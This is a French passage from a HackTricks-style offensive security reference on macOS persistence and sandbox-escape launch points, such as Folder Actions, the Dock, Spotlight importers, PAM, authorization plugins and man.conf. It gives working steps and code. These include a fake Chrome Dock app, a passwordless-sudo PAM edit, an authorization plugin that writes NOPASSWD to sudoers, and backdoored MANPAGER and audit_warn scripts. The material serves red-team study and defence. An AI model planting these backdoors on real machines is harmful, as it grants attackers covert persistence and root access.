- Attacher un script manuellement via la configuration des Actions de dossier dans le menu contextuel d'un dossier.
- Utiliser OSAScript pour envoyer des messages Apple Event Ă
System Events.app
pour configurer programmétiquement une Action de dossier.
- Cette méthode est particuliÚrement utile pour intégrer l'action dans le systÚme, offrant un niveau de persistance.
Le script suivant est un exemple de ce qui peut ĂȘtre exĂ©cutĂ© par une Action de dossier :
// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
Pour rendre le script ci-dessus utilisable par les Actions de Dossier, compilez-le en utilisant :
osacompile -l JavaScript -o folder.scpt source.js
AprÚs la compilation du script, configurez les actions de dossier en exécutant le script ci-dessous. Ce script activera les actions de dossier globalement et attachera spécifiquement le script précédemment compilé au dossier Bureau.
// Enabling and attaching Folder Action
var se = Application("System Events")
se.folderActionsEnabled = true
var myScript = se.Script({ name: "source.js", posixPath: "/tmp/source.js" })
var fa = se.FolderAction({ name: "Desktop", path: "/Users/username/Desktop" })
se.folderActions.push(fa)
fa.scripts.push(myScript)
Exécutez le script de configuration avec :
osascript -l JavaScript /Users/username/attach.scpt
- Voici comment implémenter cette persistance via l'interface graphique :
Ceci est le script qui sera exécuté :
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
Compilez-le avec : osacompile -l JavaScript -o folder.scpt source.js
DĂ©placez-le vers :
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
Ensuite, ouvrez l'application Folder Actions Setup
, sélectionnez le dossier que vous souhaitez surveiller et sélectionnez dans votre cas folder.scpt
(dans mon cas, je l'ai appelé output2.scp) :
.png)
Maintenant, si vous ouvrez ce dossier avec Finder, votre script sera exécuté.
Cette configuration a été stockée dans le plist situé dans ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist
au format base64.
Maintenant, essayons de préparer cette persistance sans accÚs GUI :
- Copiez
~/Library/Preferences/com.apple.FolderActionsDispatcher.plist
dans/tmp
pour le sauvegarder :
cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp
- Supprimez les actions de dossier que vous venez de définir :
.png)
Maintenant que nous avons un environnement vide
- Copiez le fichier de sauvegarde :
cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/
- Ouvrez l'application Folder Actions Setup.app pour consommer cette configuration :
open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"
caution
Et cela n'a pas fonctionné pour moi, mais ce sont les instructions du rapport : (
Raccourcis Dock
Rapport : https://theevilbit.github.io/beyond/beyond_0027/
- Utile pour contourner le sandbox : â
- Mais vous devez avoir installé une application malveillante dans le systÚme
- Contournement TCC : đŽ
Emplacement
~/Library/Preferences/com.apple.dock.plist
- DĂ©clencheur : Lorsque l'utilisateur clique sur l'application dans le dock
Description & Exploitation
Toutes les applications qui apparaissent dans le Dock sont spécifiées dans le plist : ~/Library/Preferences/com.apple.dock.plist
Il est possible d'ajouter une application juste avec :
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
# Restart Dock
killall Dock
En utilisant un ingénierie sociale, vous pourriez vous faire passer par exemple pour Google Chrome dans le dock et exécuter en réalité votre propre script :
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock
SĂ©lecteurs de Couleur
Writeup: https://theevilbit.github.io/beyond/beyond_0017
- Utile pour contourner le sandbox : đ
- Une action trÚs spécifique doit se produire
- Vous finirez dans un autre sandbox
- Contournement TCC : đŽ
Emplacement
/Library/ColorPickers
- AccĂšs root requis
- Déclencheur : Utilisez le sélecteur de couleur
~/Library/ColorPickers
- Déclencheur : Utilisez le sélecteur de couleur
Description & Exploit
Compilez un sĂ©lecteur de couleur bundle avec votre code (vous pourriez utiliser celui-ci par exemple) et ajoutez un constructeur (comme dans la section Ăconomiseur d'Ăcran) et copiez le bundle dans ~/Library/ColorPickers
.
Ensuite, lorsque le sĂ©lecteur de couleur est dĂ©clenchĂ©, votre code devrait Ă©galement l'ĂȘtre.
Notez que le binaire chargeant votre bibliothĂšque a un sandbox trĂšs restrictif : /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64
[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
Finder Sync Plugins
Ăcriture : https://theevilbit.github.io/beyond/beyond_0026/
Ăcriture : https://objective-see.org/blog/blog_0x11.html
- Utile pour contourner le sandbox : Non, car vous devez exécuter votre propre application
- Contournement TCC : ???
Emplacement
- Une application spécifique
Description & Exploit
Un exemple d'application avec une extension Finder Sync peut ĂȘtre trouvĂ© ici.
Les applications peuvent avoir des Finder Sync Extensions
. Cette extension ira Ă l'intĂ©rieur d'une application qui sera exĂ©cutĂ©e. De plus, pour que l'extension puisse exĂ©cuter son code, elle doit ĂȘtre signĂ©e avec un certificat de dĂ©veloppeur Apple valide, elle doit ĂȘtre sandboxĂ©e (bien que des exceptions assouplies puissent ĂȘtre ajoutĂ©es) et elle doit ĂȘtre enregistrĂ©e avec quelque chose comme :
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
Ăconomiseur d'Ă©cran
Writeup: https://theevilbit.github.io/beyond/beyond_0016/
Writeup: https://posts.specterops.io/saving-your-access-d562bf5bf90b
- Utile pour contourner le sandbox : đ
- Mais vous finirez dans un sandbox d'application commun
- Contournement TCC : đŽ
Emplacement
/System/Library/Screen Savers
- Root requis
- DĂ©clencheur : SĂ©lectionnez l'Ă©conomiseur d'Ă©cran
/Library/Screen Savers
- Root requis
- DĂ©clencheur : SĂ©lectionnez l'Ă©conomiseur d'Ă©cran
~/Library/Screen Savers
- DĂ©clencheur : SĂ©lectionnez l'Ă©conomiseur d'Ă©cran
.png)
Description & Exploit
CrĂ©ez un nouveau projet dans Xcode et sĂ©lectionnez le modĂšle pour gĂ©nĂ©rer un nouvel Ăconomiseur d'Ă©cran. Ensuite, ajoutez votre code, par exemple le code suivant pour gĂ©nĂ©rer des logs.
Construisez-le, et copiez le bundle .saver
dans ~/Library/Screen Savers
. Ensuite, ouvrez l'interface graphique de l'économiseur d'écran et si vous cliquez simplement dessus, cela devrait générer beaucoup de logs :
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
caution
Notez qu'en raison de la présence de com.apple.security.app-sandbox
dans les droits du binaire qui charge ce code (/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver
), vous serez à l'intérieur du bac à sable d'application commun.
Saver code:
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}
- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}
- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}
- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}
- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}
- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}
- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}
@end
Plugins Spotlight
writeup: https://theevilbit.github.io/beyond/beyond_0011/
- Utile pour contourner le bac Ă sable : đ
- Mais vous finirez dans un bac Ă sable d'application
- Contournement TCC : đŽ
- Le bac à sable semble trÚs limité
Emplacement
~/Library/Spotlight/
- Déclencheur : Un nouveau fichier avec une extension gérée par le plugin spotlight est créé.
/Library/Spotlight/
- Déclencheur : Un nouveau fichier avec une extension gérée par le plugin spotlight est créé.
- Root requis
/System/Library/Spotlight/
- Déclencheur : Un nouveau fichier avec une extension gérée par le plugin spotlight est créé.
- Root requis
Some.app/Contents/Library/Spotlight/
- Déclencheur : Un nouveau fichier avec une extension gérée par le plugin spotlight est créé.
- Nouvelle application requise
Description & Exploitation
Spotlight est la fonction de recherche intégrée de macOS, conçue pour fournir aux utilisateurs un accÚs rapide et complet aux données sur leurs ordinateurs.
Pour faciliter cette capacité de recherche rapide, Spotlight maintient une base de données propriétaire et crée un index en analysant la plupart des fichiers, permettant des recherches rapides à travers les noms de fichiers et leur contenu.
Le mécanisme sous-jacent de Spotlight implique un processus central nommé 'mds', qui signifie 'serveur de métadonnées'. Ce processus orchestre l'ensemble du service Spotlight. Complétant cela, il existe plusieurs démons 'mdworker' qui effectuent une variété de tùches de maintenance, telles que l'indexation de différents types de fichiers (ps -ef | grep mdworker
). Ces tùches sont rendues possibles grùce aux plugins d'importation Spotlight, ou ".mdimporter bundles", qui permettent à Spotlight de comprendre et d'indexer le contenu à travers une gamme diversifiée de formats de fichiers.
Les plugins ou .mdimporter
bundles se trouvent dans les emplacements mentionnés précédemment et si un nouveau bundle apparaßt, il est chargé en une minute (pas besoin de redémarrer de service). Ces bundles doivent indiquer quel type de fichier et quelles extensions ils peuvent gérer, de cette façon, Spotlight les utilisera lorsqu'un nouveau fichier avec l'extension indiquée est créé.
Il est possible de trouver tous les mdimporters
chargés en cours d'exécution :
mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
Et par exemple /Library/Spotlight/iBooksAuthor.mdimporter est utilisé pour analyser ces types de fichiers (extensions .iba
et .book
parmi d'autres) :
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]
caution
Si vous vérifiez le Plist d'autres mdimporter
, vous ne trouverez peut-ĂȘtre pas l'entrĂ©e UTTypeConformsTo
. C'est parce que c'est un Identifiants de Type Uniformes (UTI) intégré et il n'est pas nécessaire de spécifier des extensions.
De plus, les plugins par défaut du systÚme ont toujours la priorité, donc un attaquant ne peut accéder qu'aux fichiers qui ne sont pas autrement indexés par les propres mdimporters
d'Apple.
Pour créer votre propre importateur, vous pourriez commencer par ce projet : https://github.com/megrimm/pd-spotlight-importer puis changer le nom, le CFBundleDocumentTypes
et ajouter UTImportedTypeDeclarations
afin qu'il prenne en charge l'extension que vous souhaitez prendre en charge et les refléter dans schema.xml
.
Ensuite, changez le code de la fonction GetMetadataForFile
pour exécuter votre payload lorsqu'un fichier avec l'extension traitée est créé.
Enfin, compilez et copiez votre nouveau .mdimporter
dans l'un des emplacements précédents et vous pouvez vérifier s'il est chargé en surveillant les journaux ou en vérifiant mdimport -L.
Panneau de Préférences
caution
Il ne semble pas que cela fonctionne encore.
Ăcriture : https://theevilbit.github.io/beyond/beyond_0009/
- Utile pour contourner le sandbox : đ
- Cela nécessite une action spécifique de l'utilisateur
- Contournement TCC : đŽ
Emplacement
/System/Library/PreferencePanes
/Library/PreferencePanes
~/Library/PreferencePanes
Description
Il ne semble pas que cela fonctionne encore.
Contournement du Sandbox Root
tip
Ici, vous pouvez trouver des emplacements de démarrage utiles pour le contournement du sandbox qui vous permet d'exécuter simplement quelque chose en l'écrivant dans un fichier en étant root et/ou nécessitant d'autres conditions étranges.
PĂ©riodique
Ăcriture : https://theevilbit.github.io/beyond/beyond_0019/
Emplacement
/etc/periodic/daily
,/etc/periodic/weekly
,/etc/periodic/monthly
,/usr/local/etc/periodic
- Root requis
- DĂ©clencheur : Quand le moment est venu
/etc/daily.local
,/etc/weekly.local
ou/etc/monthly.local
- Root requis
- DĂ©clencheur : Quand le moment est venu
Description & Exploitation
Les scripts périodiques (/etc/periodic
) sont exécutés en raison des démarrages de lancement configurés dans /System/Library/LaunchDaemons/com.apple.periodic*
. Notez que les scripts stockés dans /etc/periodic/
sont exécutés en tant que propriétaire du fichier, donc cela ne fonctionnera pas pour une éventuelle élévation de privilÚges.
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
Il existe d'autres scripts périodiques qui seront exécutés indiqués dans /etc/defaults/periodic.conf
:
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
Si vous parvenez Ă Ă©crire l'un des fichiers /etc/daily.local
, /etc/weekly.local
ou /etc/monthly.local
, il sera exécuté tÎt ou tard.
warning
Notez que le script pĂ©riodique sera exĂ©cutĂ© en tant que propriĂ©taire du script. Donc, si un utilisateur rĂ©gulier possĂšde le script, il sera exĂ©cutĂ© en tant que cet utilisateur (cela pourrait empĂȘcher les attaques d'escalade de privilĂšges).
PAM
Ăcriture : Linux Hacktricks PAM
Ăcriture : https://theevilbit.github.io/beyond/beyond_0005/
Emplacement
- Root toujours requis
Description & Exploitation
Comme PAM est plus axé sur la persistance et les logiciels malveillants que sur une exécution facile dans macOS, ce blog ne donnera pas d'explication détaillée, lisez les écrits pour mieux comprendre cette technique.
VĂ©rifiez les modules PAM avec :
ls -l /etc/pam.d
Une technique de persistance/élévation de privilÚges abusant de PAM est aussi simple que de modifier le module /etc/pam.d/sudo en ajoutant au début la ligne :
auth sufficient pam_permit.so
Donc, cela ressemblera Ă quelque chose comme ceci :
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
Et donc, toute tentative d'utiliser sudo
fonctionnera.
caution
Notez que ce répertoire est protégé par TCC, il est donc trÚs probable que l'utilisateur reçoive une invite demandant l'accÚs.
Un autre bon exemple est su, oĂč vous pouvez voir qu'il est Ă©galement possible de donner des paramĂštres aux modules PAM (et vous pourriez Ă©galement backdoor ce fichier) :
cat /etc/pam.d/su
# su: auth account session
auth sufficient pam_rootok.so
auth required pam_opendirectory.so
account required pam_group.so no_warn group=admin,wheel ruser root_only fail_safe
account required pam_opendirectory.so no_check_shell
password required pam_opendirectory.so
session required pam_launchd.so
Plugins d'autorisation
Writeup: https://theevilbit.github.io/beyond/beyond_0028/
Writeup: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65
- Utile pour contourner le sandbox : đ
- Mais vous devez ĂȘtre root et faire des configurations supplĂ©mentaires
- Contournement TCC : ???
Emplacement
/Library/Security/SecurityAgentPlugins/
- Root requis
- Il est également nécessaire de configurer la base de données d'autorisation pour utiliser le plugin
Description & Exploitation
Vous pouvez créer un plugin d'autorisation qui sera exécuté lorsqu'un utilisateur se connecte pour maintenir la persistance. Pour plus d'informations sur la façon de créer l'un de ces plugins, consultez les writeups précédents (et faites attention, un plugin mal écrit peut vous verrouiller et vous devrez nettoyer votre mac depuis le mode de récupération).
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
DĂ©placez le bundle vers l'emplacement Ă charger :
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
Enfin, ajoutez la rĂšgle pour charger ce Plugin :
cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
Le evaluate-mechanisms
indiquera au cadre d'autorisation qu'il devra appeler un mécanisme externe pour l'autorisation. De plus, privileged
fera en sorte qu'il soit exécuté par root.
DĂ©clenchez-le avec :
security authorize com.asdf.asdf
Et ensuite, le groupe staff devrait avoir un accĂšs sudo (lisez /etc/sudoers
pour confirmer).
Man.conf
Ăcriture : https://theevilbit.github.io/beyond/beyond_0030/
- Utile pour contourner le sandbox : đ
- Mais vous devez ĂȘtre root et l'utilisateur doit utiliser man
- Contournement TCC : đŽ
Emplacement
/private/etc/man.conf
- Root requis
/private/etc/man.conf
: Chaque fois que man est utilisé
Description & Exploit
Le fichier de configuration /private/etc/man.conf
indique le binaire/script Ă utiliser lors de l'ouverture des fichiers de documentation man. Ainsi, le chemin vers l'exĂ©cutable pourrait ĂȘtre modifiĂ© pour que chaque fois que l'utilisateur utilise man pour lire des docs, une porte dĂ©robĂ©e soit exĂ©cutĂ©e.
Par exemple, défini dans /private/etc/man.conf
:
MANPAGER /tmp/view
Et ensuite créez /tmp/view
comme :
#!/bin/zsh
touch /tmp/manconf
/usr/bin/less -s
Apache2
Ăcriture: https://theevilbit.github.io/beyond/beyond_0023/
- Utile pour contourner le bac Ă sable : đ
- Mais vous devez ĂȘtre root et Apache doit ĂȘtre en cours d'exĂ©cution
- Contournement TCC : đŽ
- Httpd n'a pas d'autorisations
Emplacement
/etc/apache2/httpd.conf
- Root requis
- Déclencheur : Lorsque Apache2 est démarré
Description & Exploit
Vous pouvez indiquer dans /etc/apache2/httpd.conf
de charger un module en ajoutant une ligne telle que :
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
De cette façon, vos modules compilés seront chargés par Apache. La seule chose est que vous devez soit le signer avec un certificat Apple valide, soit ajouter un nouveau certificat de confiance dans le systÚme et le signer avec celui-ci.
Ensuite, si nécessaire, pour vous assurer que le serveur sera démarré, vous pourriez exécuter :
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
Exemple de code pour le Dylb :
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}
Cadre d'audit BSM
Ăcriture : https://theevilbit.github.io/beyond/beyond_0031/
- Utile pour contourner le sandbox : đ
- Mais vous devez ĂȘtre root, auditd doit ĂȘtre en cours d'exĂ©cution et provoquer un avertissement
- Contournement TCC : đŽ
Emplacement
/etc/security/audit_warn
- Root requis
- Déclencheur : Lorsque auditd détecte un avertissement
Description & Exploit
Chaque fois qu'auditd détecte un avertissement, le script /etc/security/audit_warn
est exécuté. Vous pourriez donc y ajouter votre payload.
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
Vous pouvez forcer un avertissement avec sudo audit -n
.
ĂlĂ©ments de dĂ©marrage
[!CAUTION] > Ceci est obsolĂšte, donc rien ne devrait ĂȘtre trouvĂ© dans ces rĂ©pertoires.
Le StartupItem est un rĂ©pertoire qui doit ĂȘtre positionnĂ© soit dans /Library/StartupItems/
, soit dans /System/Library/StartupItems/
. Une fois ce répertoire établi, il doit contenir deux fichiers spécifiques :
- Un script rc : Un script shell exécuté au démarrage.
- Un fichier plist, spécifiquement nommé
StartupParameters.plist
, qui contient divers paramĂštres de configuration.
Assurez-vous que le script rc et le fichier StartupParameters.plist
sont correctement placés dans le répertoire StartupItem pour que le processus de démarrage puisse les reconnaßtre et les utiliser.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>
emond
caution
Je ne peux pas trouver ce composant dans mon macOS, donc pour plus d'infos, consultez le writeup
Writeup: https://theevilbit.github.io/beyond/beyond_0023/
Introduit par Apple, emond est un mĂ©canisme de journalisation qui semble ĂȘtre sous-dĂ©veloppĂ© ou peut-ĂȘtre abandonnĂ©, mais il reste accessible. Bien qu'il ne soit pas particuliĂšrement bĂ©nĂ©fique pour un administrateur Mac, ce service obscur pourrait servir de mĂ©thode de persistance subtile pour les acteurs malveillants, probablement inaperçu par la plupart des administrateurs macOS.
Pour ceux qui sont au courant de son existence, identifier toute utilisation malveillante de emond est simple. Le LaunchDaemon du systĂšme pour ce service recherche des scripts Ă exĂ©cuter dans un seul rĂ©pertoire. Pour inspecter cela, la commande suivante peut ĂȘtre utilisĂ©e :
ls -l /private/var/db/emondClients
XQuartz
Writeup: https://theevilbit.github.io/beyond/beyond_0018/
Location
/opt/X11/etc/X11/xinit/privileged_startx.d
- Root requis
- DĂ©clencheur: Avec XQuartz
Description & Exploit
XQuartz n'est plus installé sur macOS, donc si vous voulez plus d'infos, consultez le writeup.
kext
caution
C'est tellement compliquĂ© d'installer un kext mĂȘme en tant que root que je ne considĂ©rerai pas cela pour Ă©chapper aux sandboxes ou mĂȘme pour la persistance (Ă moins que vous ayez un exploit)
Location
Pour installer un KEXT en tant qu'Ă©lĂ©ment de dĂ©marrage, il doit ĂȘtre installĂ© dans l'un des emplacements suivants :
/System/Library/Extensions
- Fichiers KEXT intégrés dans le systÚme d'exploitation OS X.
/Library/Extensions
- Fichiers KEXT installés par des logiciels tiers
Vous pouvez lister les fichiers kext actuellement chargés avec :
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
Pour plus d'informations sur les extensions du noyau, consultez cette section.
amstoold
Ăcriture : https://theevilbit.github.io/beyond/beyond_0029/
Emplacement
/usr/local/bin/amstoold
- AccĂšs root requis
Description & Exploitation
Apparemment, le plist
de /System/Library/LaunchAgents/com.apple.amstoold.plist
utilisait ce binaire tout en exposant un service XPC... le problÚme est que le binaire n'existait pas, donc vous pouviez y placer quelque chose et lorsque le service XPC était appelé, votre binaire serait exécuté.
Je ne peux plus le trouver sur mon macOS.
xsanctl
Ăcriture : https://theevilbit.github.io/beyond/beyond_0015/
Emplacement
/Library/Preferences/Xsan/.xsanrc
- AccĂšs root requis
- Déclencheur : Lorsque le service est exécuté (rarement)
Description & exploitation
Apparemment, il n'est pas trĂšs courant d'exĂ©cuter ce script et je n'ai mĂȘme pas pu le trouver sur mon macOS, donc si vous voulez plus d'infos, consultez l'Ă©criture.
/etc/rc.common
[!CAUTION] > Cela ne fonctionne pas dans les versions modernes de MacOS
Il est également possible de placer ici des commandes qui seront exécutées au démarrage. Exemple de script rc.common régulier :
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}
#
# Generic action handler
#
RunService ()
{
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
}
Techniques et outils de persistance
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.